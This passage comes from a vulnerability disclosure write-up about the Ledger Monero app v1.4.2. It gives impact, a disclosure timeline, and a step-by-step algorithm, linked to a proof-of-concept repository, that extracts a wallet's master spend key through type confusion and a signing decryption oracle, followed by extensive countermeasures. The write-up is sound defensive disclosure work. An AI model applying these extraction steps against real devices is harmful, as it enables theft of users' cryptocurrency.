  &lt;li&gt;Usually, when sending a transaction, setting up the Monero wallet.&lt;/li&gt;
  &lt;li&gt;If the master view key was not exported, then the scenario happens with each blockchain scanning.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;No user confirmation is required to mount the attack.&lt;/li&gt;
  &lt;li&gt;The user is not notified about the transaction being in progress. No error is shown. The display does not change.&lt;/li&gt;
  &lt;li&gt;The user has no chance to notice his master spend key was extracted.&lt;/li&gt;
  &lt;li&gt;The exploitation was possible from the initial
protocol deployment date. User spend keys could have been silently exfiltrated without users knowing.
There is no way to tell whether this attack was executed in the wild.&lt;/li&gt;
  &lt;li&gt;All existing wallets (spend keys) should thus be considered leaked and not secure to use.&lt;/li&gt;
  &lt;li&gt;Ledger Monero app v1.4.2 did not support changing the BIP-44 derivation path for 
Monero master key derivation, thus users were not able to use Ledger to store Monero securely
if they used it with the Monero before. 
In the newest app version the derivation path can be changed so all users should use derivation paths not affected by this vulnerability.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;2. Jan 2020&lt;/em&gt;: vulnerability discovery&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;3. Jan 2020&lt;/em&gt;: vulnerability report sent&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;5. Jan 2020&lt;/em&gt;: Response from Ledger, investigation started&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;11. Jan 2020&lt;/em&gt;: Response from Ledger acknowledging the vulnerability, working on fixes&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;16. Jan 2020&lt;/em&gt;: Interactive discussion started, refining countermeasures&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;6. Feb 2020&lt;/em&gt;: Final source code ready&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;2. Mar 2020&lt;/em&gt;: Monero app 1.5.1 released fixing all vulnerabilities found&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ledger reacted promptly, the cooperation was nice and seamless, and I enjoyed the work with them. I was also awarded under the bug bounty program.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;extras&quot;&gt;Extras&lt;/h2&gt;

&lt;p&gt;A few interesting PoC improvements and observations follow.&lt;/p&gt;

&lt;h3 id=&quot;sc_sub-removal-is-not-enough&quot;&gt;sc_sub removal is not enough&lt;/h3&gt;

&lt;p&gt;The function &lt;code class=&quot;highlighter-rouge&quot;&gt;sc_sub&lt;/code&gt; is not used by the Monero wallet. Thus one simple countermeasure would be to remove &lt;code class=&quot;highlighter-rouge&quot;&gt;sc_sub&lt;/code&gt; from the Ledger Monero app. But as we show, it is easy to simulate &lt;code class=&quot;highlighter-rouge&quot;&gt;sc_sub&lt;/code&gt; with the &lt;code class=&quot;highlighter-rouge&quot;&gt;sc_add&lt;/code&gt; in the following way.&lt;/p&gt;

&lt;p&gt;It holds that \(lx = 0 \; (\text{mod} \; l) \), where l is the curve order. Thus \((l-1)x = -x \; (\text{mod} \; l)\).&lt;/p&gt;

&lt;p&gt;We show an algorithm that can be used to generate a sealed version of an arbitrary scalar value \(x\).&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Call &lt;a href=&quot;https://github.com/ph4r05/blue-app-monero/blob/7d6c5f5573c4c83fe74dcbb3fe6591489bae7828/src/monero_key.c#L479&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;monero_apdu_generate_keypair&lt;/code&gt;&lt;/a&gt; to obtain sealed scalar \(\widehat{a}\) and public point A.&lt;/li&gt;
  &lt;li&gt;Use decrypt oracle to obtain \(a\), so we have plaintext-ciphertext pair.&lt;/li&gt;
  &lt;li&gt;As value of \(a\) is known, finds its multiplicative inverse \(a^{-1}\).&lt;/li&gt;
  &lt;li&gt;Construct a &lt;em&gt;base&lt;/em&gt; \(\mathcal{B} = \{ \widehat{2^ia}, i \in [1, 252] \} \) by calling &lt;code class=&quot;highlighter-rouge&quot;&gt;sc_add&lt;/code&gt;. E.g., \(\text{sc_add}(\widehat{a}, \widehat{a}) = \widehat{2a}\), \(\text{sc_add}(\widehat{2a}, \widehat{2a}) = \widehat{4a}\), etc. 251 function calls to sc_add is needed.&lt;/li&gt;
  &lt;li&gt;Construct set \(\mathcal{I} = \{i \; | \; 2^i \; \% \; xa^{-1} = 0 \}\), i.e., positions where binary representation of \((xa^{-1})\) has ones.&lt;/li&gt;
  &lt;li&gt;Use addition to compute: \(\sum_{i\in\mathcal{I}} \mathcal{B}_i = \sum_{i\in\mathcal{I}} \widehat{2^ia}\)
 = \(\widehat{a(xa^{-1})} = \widehat{x}\)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Thus we obtain an &lt;em&gt;encrypting oracle&lt;/em&gt;, i.e., we can construct a valid sealed version of a known scalar. The base \(\mathcal{B}\) is independent of the input \(x\) ad thus can be reused.&lt;/p&gt;

&lt;p&gt;The algorithm can also be used to obtain encryption of zero or get negative value of a sealed scalar \(\widehat{y}\):&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Construct a &lt;em&gt;base&lt;/em&gt; \(\mathcal{B} = \{ \widehat{2^iy}, i \in [1, 252] \} \) by calling &lt;code class=&quot;highlighter-rouge&quot;&gt;sc_add&lt;/code&gt;. E.g., \(\text{sc_add}(\widehat{y}, \widehat{y}) = \widehat{2y}\), \(\text{sc_add}(\widehat{2y}, \widehat{2y}) = \widehat{4y}\), etc. 251 function calls to sc_add is needed.&lt;/li&gt;
  &lt;li&gt;Construct set \(\mathcal{I} = \{i \; | \; 2^i \; \% \; (l-1) = 0 \}\), i.e., positions where binary representation of \((l-1)\) has ones.&lt;/li&gt;
  &lt;li&gt;Use addition to compute: \(\sum_{i\in\mathcal{I}} \mathcal{B}_i = \sum_{i\in\mathcal{I}} \widehat{2^iy}\) = \(\widehat{y(l-1)} = \widehat{-y}\)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Note that there are 251 (scalar base) + 73 (number of 1s in \(l-1\)) + 1 = 325 sc_add evaluations needed to get an additive inverse.
Similarly, if \((l-1)\) is substituted by \(l\) we obtain an encryption of zero.&lt;/p&gt;

&lt;h3 id=&quot;poc-v2-more-general&quot;&gt;PoC v2, more general&lt;/h3&gt;

&lt;p&gt;We wanted to design a more general PoC that would underline the true problem of the protocol that would survive several simple countermeasures such as removal of sc_add and sc_sub functions. The primary problem is the reuse of the alpha parameter in the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign&lt;/code&gt; which should be random and never reused.&lt;/p&gt;

&lt;p&gt;Here follows the more general &lt;a href=&quot;https://github.com/ph4r05/ledger-app-monero-1.42-vuln/blob/3e615bbfe4c4112ddc9e4099a1ba8378f37ab90b/poc.py#L205&quot;&gt;PoC v2&lt;/a&gt;, which is described later.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Get \(A\) (public view key) from the Ledger or the wallet address (doable off-line).&lt;/li&gt;
  &lt;li&gt;Find a scalar \(x\), while the following holds:
    &lt;ul&gt;
      &lt;li&gt;\(Pb = \text{encode_point}(8xaG)\), where \(P = 8xaG = 8xA\)&lt;/li&gt;
      &lt;li&gt;\(Pb = \text{encode_scalar}(\text{decode_scalar}(Pb))\)&lt;/li&gt;
      &lt;li&gt;i.e., the encoding \(Pb\) of the point \(P\) can be interpreted both as an EC point \(P\) and 
  as a scalar \(p\) (without modular reduction required)&lt;/li&gt;
      &lt;li&gt;This is performed offline, in the PoC, card interaction is not required as we have \(A\)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Call &lt;a href=&quot;https://github.com/ph4r05/blue-app-monero/blob/7d6c5f5573c4c83fe74dcbb3fe6591489bae7828/src/monero_key.c#L510&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;monero_apdu_generate_key_derivation&lt;/code&gt;&lt;/a&gt;\((xG, \text{C_FAKE_SEC_VIEW_KEY})\) to obtain \(\widehat{8a(xG)} = \widehat{P}\). We thus know plaintext-ciphertext pair for a known point \(P\).&lt;/li&gt;
  &lt;li&gt;Call &lt;a href=&quot;https://github.com/ph4r05/blue-app-monero/blob/7d6c5f5573c4c83fe74dcbb3fe6591489bae7828/src/monero_key.c#L574&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;monero_apdu_derive_secret_key&lt;/code&gt;&lt;/a&gt;\((\widehat{P}, 0, \text{C_FAKE_SEC_SPEND_KEY})\) to get \(\widehat{s} = \widehat{\mathcal{H}_s(P||0) + b}\), where \(b\) is the spend key.&lt;/li&gt;
  &lt;li&gt;Call &lt;a href=&quot;https://github.com/ph4r05/blue-app-monero/blob/7d6c5f5573c4c83fe74dcbb3fe6591489bae7828/src/monero_mlsag.c#L72&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_hash(p2=1, opt=0x80)&lt;/code&gt;&lt;/a&gt;, which returns \(c\) as plaintext scalar.&lt;/li&gt;
  &lt;li&gt;Call &lt;a href=&quot;https://github.com/ph4r05/blue-app-monero/blob/7d6c5f5573c4c83fe74dcbb3fe6591489bae7828/src/monero_mlsag.c#L96&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign&lt;/code&gt;&lt;/a&gt;\((\widehat{s}, \widehat{p})\)
    &lt;ul&gt;
      &lt;li&gt;We obtain \(r = s - cp = (\mathcal{H}_s(P||0) + b) - c*(8xaG)_{\text{scalar}}\)&lt;/li&gt;
      &lt;li&gt;Note the \(p\) is now decoded as a scalar value, thus \(p=(8xaG)_{\text{scalar}}\) is scalar value obtained by decoding the serialized EC point \((8xaG)\) as scalar. We know the cleartext value of \(p\) from construction.&lt;/li&gt;
      &lt;li&gt;Compute the master spending key \(b\) as \(b = r - \mathcal{H}_s(P||0) + cp\)&lt;/li&gt;
      &lt;li&gt;We can compute \(\mathcal{H}_s(P||0)\) as \(P\) plaintext value is known.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;notes&quot;&gt;Notes&lt;/h3&gt;

&lt;p&gt;As encryption of scalars and points are the same, we can use this &lt;em&gt;type confusion&lt;/em&gt; to find a value that can be interpreted in both ways, i.e., a valid EC point and a valid Ed25519 scalar. This is useful to construct a derivation, which is basically ECDH derivation, which goes encrypted to the &lt;code class=&quot;highlighter-rouge&quot;&gt;monero_apdu_derive_secret_key&lt;/code&gt;. Note there is only function &lt;code class=&quot;highlighter-rouge&quot;&gt;monero_apdu_generate_key_derivation&lt;/code&gt; that returns encrypted EC points. 
The same value of P is in step 6 used as a known scalar to obtain decrypting oracle.&lt;/p&gt;

&lt;p&gt;According to the &lt;a href=&quot;https://github.com/ph4r05/ledger-app-monero-1.42-vuln/blob/master/poc_sim.py&quot;&gt;numerical simulation&lt;/a&gt;, the \(E[\text{steps_finding_x}(A)] = 15\), i.e., 
on average in 15 steps we find suitable \(x\) value. Which corresponds to a fact that EC points are distributed more/less equally on the 32 bytes (256 bits). The scalars occupy 252 bits which gives \(2^{256-252}=16\).&lt;/p&gt;

&lt;p&gt;The attack uses only a small set of functions, all function calls besides the last one &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt;
are legit and could appear in the normal transaction construction process. It is thus hard to prevent
this from working. Used functions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;reset&lt;/li&gt;
  &lt;li&gt;set_mode&lt;/li&gt;
  &lt;li&gt;open_tx&lt;/li&gt;
  &lt;li&gt;gen_derivation&lt;/li&gt;
  &lt;li&gt;derive_secret_key&lt;/li&gt;
  &lt;li&gt;mlsag_hash&lt;/li&gt;
  &lt;li&gt;mlsag_sign&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;observations&quot;&gt;Observations&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Scalars / points can be used interchangeably in the protocol. This &lt;em&gt;type confusion&lt;/em&gt; 
is a significant vulnerability. Especially when the attacker manages to obtain known 
plaintext-ciphertext pair, which can then later be used in both contexts (scalar, point).
Knowing the plaintext value is important for the computation of &lt;code class=&quot;highlighter-rouge&quot;&gt;Hs(P||0)&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;c*P&lt;/code&gt; elimination.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;When the view key is extracted (for faster blockchain scanning), the leak of a plaintext-ciphertext
pair cannot be prevented for scalars, as the attacker knows &lt;code class=&quot;highlighter-rouge&quot;&gt;a&lt;/code&gt; and can use &lt;code class=&quot;highlighter-rouge&quot;&gt;C_FAKE_SEC_VIEW_KEY&lt;/code&gt; to make
Ledger compute scalars with &lt;code class=&quot;highlighter-rouge&quot;&gt;a&lt;/code&gt;. E.g., &lt;code class=&quot;highlighter-rouge&quot;&gt;monero_apdu_derive_secret_key(P, 0, C_FAKE_SEC_VIEW_KEY)&lt;/code&gt; can be 
used to construct scalar plaintext-ciphertext pair.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign&lt;/code&gt; is important for all attacks as it returns an unencrypted scalar value from
originally encrypted scalar inputs. It is used as a decryption oracle.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;countermeasures&quot;&gt;Countermeasures&lt;/h2&gt;

&lt;p&gt;To make the protocol secure against the mentioned family of attacks the aforementioned 
weak spots have to be eliminated.&lt;/p&gt;

&lt;h3 id=&quot;remove-simple-scalar-functions&quot;&gt;Remove simple scalar functions&lt;/h3&gt;

&lt;p&gt;As correctly proposed by the Ledger, removing &lt;code class=&quot;highlighter-rouge&quot;&gt;sc_sub()&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;sc_add()&lt;/code&gt; helps significantly. 
As demonstrated in the previous report, the attacker can construct many usable scalar values that
can be later used in the attack.&lt;/p&gt;

&lt;h3 id=&quot;user-confirmation--notification&quot;&gt;User confirmation / notification&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;As the HMAC key is changed with each new transaction, the user should be explicitly asked to confirm the transaction signing process once &lt;code class=&quot;highlighter-rouge&quot;&gt;open_tx()&lt;/code&gt; is called in the real transaction mode. I.e., Ledger should ask the user whether he wants to continue
with the transaction signature. The user confirms by pressing a button.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;User confirmation is required to mount any attack. Attack surface is thus reduced 
to the point when the user is actively sending a new transaction, the time window is 
significantly reduced.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Ledger should display information on the display when &lt;code class=&quot;highlighter-rouge&quot;&gt;open_tx&lt;/code&gt; was called, even for fake
transactions (used during the transaction assembly process, can be called several times before a real transaction that meets the requirements is assembled). Any display change would be nice, so the user is able to notice that Ledger is
performing some tasks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;When the transaction is finished with error (e.g., some security assertion fails), the user should be notified on the screen and optionally asked for confirmation to continue in normal operation. The attacker thus cannot just flash the error message over a short period of time
without the user noticing.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Some other attacks we considered require more transaction openings so limiting it 
by requiring the confirmation lowers the attack surface significantly.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;proper-input-validation&quot;&gt;Proper input validation&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;If any assertion fails (non-reduced scalar, EC point not lying on the curve), abort the transaction, reset keys, notify the user and ask for confirmation to continue.&lt;/li&gt;
  &lt;li&gt;Stronger requirement: if the assertion fails, ask for PIN re-entry.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;symmetric-key-hierarchy&quot;&gt;Symmetric key hierarchy&lt;/h3&gt;

&lt;p&gt;This is the primary countermeasure that blocks all attacks we considered. 
For the sake of simplicity, we will assume just HMAC keys for now and address &lt;code class=&quot;highlighter-rouge&quot;&gt;spk&lt;/code&gt; key later.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The HMAC key &lt;code class=&quot;highlighter-rouge&quot;&gt;hk&lt;/code&gt; is changed with each new transaction (as now)&lt;/li&gt;
  &lt;li&gt;HMAC key used for particular parameters is derived from &lt;code class=&quot;highlighter-rouge&quot;&gt;hk&lt;/code&gt; based on the following
    &lt;ul&gt;
      &lt;li&gt;Value type, scalar or point&lt;/li&gt;
      &lt;li&gt;Content-type, derived secret or random scalar mask&lt;/li&gt;
      &lt;li&gt;Function calling context. e.g., alpha in mlsag_sign.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Encrypted values are thus usable only in a particular context, i.e., the context with the same HMAC key.&lt;/li&gt;
  &lt;li&gt;This also prevents the &lt;em&gt;type confusion&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;H(hk || &quot;0&quot;)&lt;/code&gt; HMAC key for EC points - derivation&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;H(hk || &quot;1&quot;)&lt;/code&gt; HMAC key for scalars&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;H(hk || &quot;2&quot;)&lt;/code&gt; HMAC key for random scalar masks alpha&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;H(hk || &quot;3&quot;)&lt;/code&gt; HMAC key for amount key&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other EC points than derivations are not exported in an encrypted form in the protocol. If there are more EC point types later, differentiate them.&lt;/p&gt;

&lt;p&gt;Ideally, the encryption key should also be changed with each new transaction (random), if possible. 
Definitely, for values we are sure were produced after &lt;code class=&quot;highlighter-rouge&quot;&gt;open_tx()&lt;/code&gt;. Thorough protocol analysis
or just simple testing will reveal which values need to have fixed &lt;code class=&quot;highlighter-rouge&quot;&gt;spk&lt;/code&gt; key.
We would suggest to start testing this improvement with the encryption key &lt;code class=&quot;highlighter-rouge&quot;&gt;spk&lt;/code&gt; being randomly generated after &lt;code class=&quot;highlighter-rouge&quot;&gt;open_tx()&lt;/code&gt;.
After transaction finish/abort the key is reverted back to static &lt;code class=&quot;highlighter-rouge&quot;&gt;spk&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Different encryption key strictly limits attacker to the scope of one transaction with respect to the data confidentiality, which is useful for security arguments. I.e., no long-term analysis 
and data collection can be performed.&lt;/p&gt;

&lt;p&gt;The specified HMAC key hierarchy is also usable for encryption, which decreases the attack surface significantly as values are valid only in a particular context. This is especially important as the initialization vector (IV) is zero = encryption has no semantic security, i.e., the same plaintexts encrypt
to the same ciphertexts. The zero IV allows the attacker to test values for equality without knowing the plaintext values.&lt;/p&gt;

&lt;p&gt;The key hierarchy significantly restricts the potential combinations attacker can use,
restricting to explicitly allowing ones by the protocol designer.&lt;/p&gt;

&lt;h2 id=&quot;mlsag-sign&quot;&gt;MLSAG Sign&lt;/h2&gt;

&lt;p&gt;Recall \(\text{mlsag_sign}(\alpha, x) = \alpha - cx\), where:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;\(c\) is parameter known to attacker&lt;/li&gt;
  &lt;li&gt;\(\alpha\) is a random scalar&lt;/li&gt;
  &lt;li&gt;\(x\) is a secret scalar value&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Notice that if \(\alpha\) is allowed to be used more than once, we have a decryption oracle:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;\(\text{mlsag_sign}(\alpha_1, x_1) = r_1\)&lt;/li&gt;
  &lt;li&gt;\(\text{mlsag_sign}(\alpha_1, x_2) = r_2\)&lt;/li&gt;
  &lt;li&gt;\(r_1 - r_2 = (\alpha_1 - cx_1) - (\alpha_1 - cx_2) = \alpha_1 - cx_1 - \alpha_1 + cx_2 = c(x_2-x_1)\)&lt;/li&gt;
  &lt;li&gt;As \(c\) is known, attacker can recover \(x_2-x_1\). If attacker knows a plaintext value for one scalar secret, 
let say \(x_1\) he can recover scalar value for \(x_2\).&lt;/li&gt;
  &lt;li&gt;\(x_1\) can be constructed by calling \(\text{monero_apdu_derive_secret_key}(P, 0, a)\) as we usually know \(a\) as it was exported to the client and we know the value of \(P\).&lt;/li&gt;
  &lt;li&gt;Similarly, if \(x_1\) is known, then \(\alpha_1 = r_1 - cx_1\).&lt;/li&gt;
  &lt;li&gt;We do not consider type confusion and other attacks as those are eliminated by key hierarchy.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Monero currently uses only the &lt;code class=&quot;highlighter-rouge&quot;&gt;MLSAG_SIMPLE&lt;/code&gt; signature scheme. The &lt;code class=&quot;highlighter-rouge&quot;&gt;MLSAG_FULL&lt;/code&gt; is not needed with Bulletproof transactions, and thus, Ledger does not have to support it. This reduces the attack surface and simplifies countermeasures design. 
Thus it holds that &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_prepare()&lt;/code&gt; is called only once per signature (for non-multisig transaction),
followed by exactly one &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt; call (it holds dsRows==1).&lt;/p&gt;

&lt;p&gt;We propose to extend the state by adding a &lt;code class=&quot;highlighter-rouge&quot;&gt;sign_counter&lt;/code&gt;, which is incremented in the beginning 
of the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_prepare()&lt;/code&gt; call and after the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt;.
The encryption and HMAC keys for \(\alpha\) are then derived as:
\(\mathcal{H}(hk || \text{“alpha”} || \text{sign_counter})\).&lt;/p&gt;

&lt;p&gt;This guarantees that only \(\alpha\) generated by the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_prepare()&lt;/code&gt; can be passed to the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt;
as the first \(\alpha\) parameter. Separation of \(\alpha\) and \(x\) domains via different keys restricts the 
attack surface.&lt;/p&gt;

&lt;p&gt;It is easy to show that if \(\alpha\) is a random scalar, then the attacker can derive no information about \(x_1\)
from \(\alpha - cx_1\). The reason is that \(\alpha\) can be generated only in &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_prepare()&lt;/code&gt; and 
used only in &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt; as a first parameter, nowhere else.
It is essential that \(\alpha\) can be used only once as input to the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt;. 
Otherwise, the attacker can eliminate it.&lt;/p&gt;

&lt;p&gt;Thus the attacker can derive no information about \(\alpha\) using other functions than &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt; as it fails
HMAC check in those. The attacker could learn \(\alpha\) if he knows decryption of \(x_1\), but such \(\alpha\) is just a random scalar, and this knowledge cannot be reused in another &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt; call, making the knowledge useless.&lt;/p&gt;

&lt;h3 id=&quot;strict-state-model-checking&quot;&gt;Strict state model checking&lt;/h3&gt;

&lt;p&gt;Due to the low-level nature of the API functions, it is difficult to capture the 
explicit state model as the function call flow highly depends on the transaction being signed, 
i.e., a number of inputs, outputs, use of sub-addresses, UTXO (unspent transaction outputs) types - aux keys used, etc…&lt;/p&gt;

&lt;p&gt;However, the more the state model is restricted, the smaller is the attacker space.
It is recommended to study the valid transaction construction paths and enforce obvious state transitions.&lt;/p&gt;

&lt;p&gt;For instance, enforce a rule that the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_prepare()&lt;/code&gt; has to be followed exactly by the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_hash()&lt;/code&gt; 
(several times, depends on mixin, not critical to enforce number of the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_hash()&lt;/code&gt; calls).
Enforce that the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt; can be called only after the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_hash()&lt;/code&gt; and only once per &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_prepare()&lt;/code&gt;.
Ideally if the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt; increments the &lt;code class=&quot;highlighter-rouge&quot;&gt;sign_counter&lt;/code&gt; as well after it computes the &lt;code class=&quot;highlighter-rouge&quot;&gt;ss&lt;/code&gt; result, 
to enforce state change, which prevents malicious state transitions.&lt;/p&gt;

&lt;p&gt;Client change:
Commit to the {mixin, number of UTXO, number of transaction outputs} in the initial &lt;code class=&quot;highlighter-rouge&quot;&gt;open_tx()&lt;/code&gt; call.
Then enforce the rule that a number of calls to the &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_prepare()&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt; has to be equal to the number of &lt;code class=&quot;highlighter-rouge&quot;&gt;UTXO&lt;/code&gt; (as we have one signature per UTXO).&lt;/p&gt;

&lt;p&gt;Note the basic state model enforcement can be done without changing the client. 
However, a more precise check requires to commit to the number of transaction inputs.&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;All aforementioned fixes are directly applicable on the Ledger side without the need to touch the Monero codebase.
The mentioned changes fix the whole family of attacks similar to those presented and effectively blocks the main attack vectors and leaks.&lt;/p&gt;

&lt;p&gt;It is thus possible to fix the critical vulnerability without need to release a new Monero client version, 
which significantly speeds up the patch roll-out.&lt;/p&gt;

&lt;h2 id=&quot;client-changing-countermeasures&quot;&gt;Client-changing countermeasures&lt;/h2&gt;

&lt;p&gt;Here follow the measures that require client modifications to work.
They improve security significantly but are not necessary to block the vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;encrypt-then-reveal&quot;&gt;Encrypt-then-reveal&lt;/h3&gt;

&lt;p&gt;We propose not to return plaintext values from &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt; directly, but to return encrypted versions,
under a new, transaction-specific encryption key &lt;code class=&quot;highlighter-rouge&quot;&gt;kse&lt;/code&gt;, which is used specifically for this purpose.&lt;/p&gt;

&lt;p&gt;After the transaction is successfully constructed, i.e., no security assertion was violated, the Ledger
returns the &lt;code class=&quot;highlighter-rouge&quot;&gt;kse&lt;/code&gt; to the host client so it can decrypt the MLSAG signature.&lt;/p&gt;

&lt;p&gt;This countermeasure strictly enforces correct state transitions and blocks the attacker’s reactivity.
I.e., the attacker cannot use results from the previous &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt; calls to adapt an attacking strategy
as he learns the result only after the protocol finishes successfully. This property is important for security proofs and to strictly guard the potential attacker space.&lt;/p&gt;

&lt;p&gt;This change is very easy to implement and brings significant security benefits.
However, it requires a minor client code change.&lt;/p&gt;

&lt;p&gt;We recommend using this measure with a new Ledger Monero protocol version.
After some time (all users migrate to new Monero clients enforcing new signing protocol), the support
for unencrypted &lt;code class=&quot;highlighter-rouge&quot;&gt;mlsag_sign()&lt;/code&gt; can be dropped.&lt;/p&gt;

&lt;h3 id=&quot;support-multiple-bip-derivation-paths&quot;&gt;Support multiple BIP derivation paths&lt;/h3&gt;

&lt;p&gt;Allow user to specify BIP derivation path (or its part) when creating the wallet from the Ledger 
device to allow multiple cryptographically separated master (view, spend) keys derived from the seed.&lt;/p&gt;

&lt;p&gt;Ledger Monero app Version 1.4.2 has a fixed derivation path, which blocks the user from using a new set of keys with the same device seed.&lt;/p&gt;

&lt;p&gt;For example, each user should consider current master keys leaked and dangerous to use. 
He cannot then use Ledger device without seed reset, which affects all other apps on the 
Ledger, i.e., the Bitcoin app.&lt;/p&gt;

&lt;p&gt;With the fixed path user also cannot transfer all funds to another safe address without using
software wallet (risk of spend key leak) or another Ledger device.&lt;/p&gt;

&lt;p&gt;If the user can specify another path, the migration to a safe (non-leaked) account is simple.
The user creates another wallet with a different path and sweeps the old account to the new one.&lt;/p&gt;

&lt;h3 id=&quot;strict-state-model-checking-1&quot;&gt;Strict state model checking&lt;/h3&gt;

&lt;p&gt;As mentioned in the similarly named section above, the more precise checking can be done if
the &lt;code class=&quot;highlighter-rouge&quot;&gt;open_tx()&lt;/code&gt; transaction message contains information about mixin, number of UTXOs, and transaction outputs.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;Ledger implemented suggested countermeasures. Follow their site for more details.&lt;/p&gt;

&lt;p&gt;Resources recap:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;PoC repository &lt;a href=&quot;https://github.com/ph4r05/ledger-app-monero-1.42-vuln&quot;&gt;https://github.com/ph4r05/ledger-app-monero-1.42-vuln&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Affected Ledger Monero app version &lt;a href=&quot;https://github.com/LedgerHQ/ledger-app-monero/tree/7d6c5f5573c4c83fe74dcbb3fe6591489bae7828&quot;&gt;https://github.com/LedgerHQ/ledger-app-monero/tree/7d6c5f5573c4c83fe74dcbb3fe6591489bae7828&lt;/a&gt;&lt;/li&gt;
